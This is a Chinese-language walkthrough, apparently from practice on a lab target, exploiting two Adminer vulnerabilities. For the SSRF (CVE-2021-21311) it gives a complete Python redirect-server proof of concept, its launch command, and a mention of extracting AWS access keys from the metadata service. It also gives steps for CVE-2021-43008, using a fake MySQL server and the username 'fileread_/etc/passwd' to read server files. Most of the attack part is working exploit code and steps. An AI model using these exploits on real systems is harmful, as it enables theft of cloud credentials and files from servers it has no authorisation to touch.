Adminer是一个PHP编写的开源数据库管理工具,支持MySQL、MariaDB、PostgreSQL、SQLite、MS SQL、Oracle、Elasticsearch、MongoDB等数据库。

Adminer的ElasticSearch 和 ClickHouse 错误页面SSRF漏洞(CVE-2021-21311)在其4.0.0到4.7.9版本之间,连接 ElasticSearch 和 ClickHouse 数据库时存在一处服务端请求伪造漏洞(SSRF)。

1

在Adminer登录页面,选择ElasticSearch作为系统目标,并在server字段填写`example.com`,点击登录即可看到`example.com`返回的400错误页面展示在页面中

<?xml version=”1.0” encoding=”iso-8859-1”?> <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"\> <html xmlns=”http://www.w3.org/1999/xhtml“ xml:lang=”en” lang=”en”> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body> </html>

漏洞:使用管理员发送任意get请求并从内部服务器检索JSON响应的方法。可以从AWS元数据服务中提取AWS访问密钥。

第一步是启动一个python服务器,该服务器侦听传入的连接并以301重定向响应到任意选择的主机。在此示例情况下,重定向指向AWS元数据服务

代码:不过这里要改成自己的,

#!/usr/bin/env python

import SimpleHTTPServer

import SocketServer

import sys

import argparse

def redirect_handler_factory(url):

“””

Returns a request handler class that redirects to supplied `url`

“””

class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):

def do_GET(self):

self.send_response(301)

self.send_header(‘Location’, url)

self.end_headers()

def do_POST(self):

self.send_response(301)

self.send_header(‘Location’, url)

self.end_headers()

return RedirectHandler

def main():

parser = argparse.ArgumentParser(description=’HTTP redirect server’)

parser.add_argument(‘–port’, ‘-p’, action=”store”, type=int, default=80, help=’port to listen on’)

parser.add_argument(‘–ip’, ‘-i’, action=”store”, default=””, help=’host interface to listen on’)

parser.add_argument(‘redirect_url’, action=”store”)

myargs = parser.parse_args()

redirect_url = myargs.redirect_url

port = myargs.port

host = myargs.ip

redirectHandler = redirect_handler_factory(redirect_url)

handler = SocketServer.TCPServer((host, port), redirectHandler)

print(“serving at port %s” % port)

handler.serve_forever()

if __name__ == “__main__“:

main()

接下来是我的代码

import SimpleHTTPServer

import SocketServer

import sys

import argparse

def redirect_handler_factory(url):

“””

Returns a request handler class that redirects to supplied `url`

“””

class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):

def do_GET(self):

self.send_response(301)

self.send_header(‘Location’, “https://www.zhihu.com/people/sun-67-28-76“)

self.end_headers()

def do_POST(self):

self.send_response(301)

self.send_header(‘Location’, “https://www.zhihu.com/people/sun-67-28-76“)

self.end_headers()

#不管是GET还是POST都是重定向到我的知乎主页

return RedirectHandler

def main():

parser = argparse.ArgumentParser(description=’HTTP redirect server’)

parser.add_argument(‘–port’, ‘-p’, action=”store”, type=int, default=20000, help=’port to listen on’) #我20000端口已经转发到外网的3.tcp.vip.cpolar.cn:13465上面了

parser.add_argument(‘–ip’, ‘-i’, action=”store”, default=”0.0.0.0”, help=’host interface to listen on’)

parser.add_argument(‘redirect_url’, action=”store”)

myargs = parser.parse_args()

redirect_url = myargs.redirect_url

port = myargs.port

host = myargs.ip

redirectHandler = redirect_handler_factory(redirect_url)

handler = SocketServer.TCPServer((host, port), redirectHandler)

print(“serving at port %s” % port)

handler.serve_forever()

if __name__ == “__main__“:

main()

在命令行 python2 ./poc.py –port 20000 –ip 0.0.0.0 https://www.zhihu.com/people/sun-67-28-76 直接运行

2

这里显示我的20000端口开始接客了

现在回到靶场网站,服务器输入3.tcp.vip.cpolar.cn:13465,账号密码不用数

3

明显已经重定向到我知乎主页,此方法可以运用到网站运维

4

5

结束ctrl +z

Adminer远程文件读取(CVE-2021-43008)在其版本1.12.0到4.6.2之间存在一处因为MySQL LOAD DATA LOCAL导致的文件读取漏洞。

使用fakeserver启动一个恶意的MySQL服务器。这个是下载地址https://github.com/4ra1n/mysql-fake-server。

6

在fakeserver填写本机端口号(我的64965端口转发到外网了27.tcp.cpolar.top:10352 )Cmd和Generate,还有在Adminer登录页面中填写恶意服务地址和用户名`fileread_/etc/passwd`直接点击登录

7

点击登录

8

这就登录到我的钓鱼mysql了

9

可以执行创建数据库相关命令

10

11

12

读取到的文件`/etc/passwd`已保存至当前目录的文件夹下面。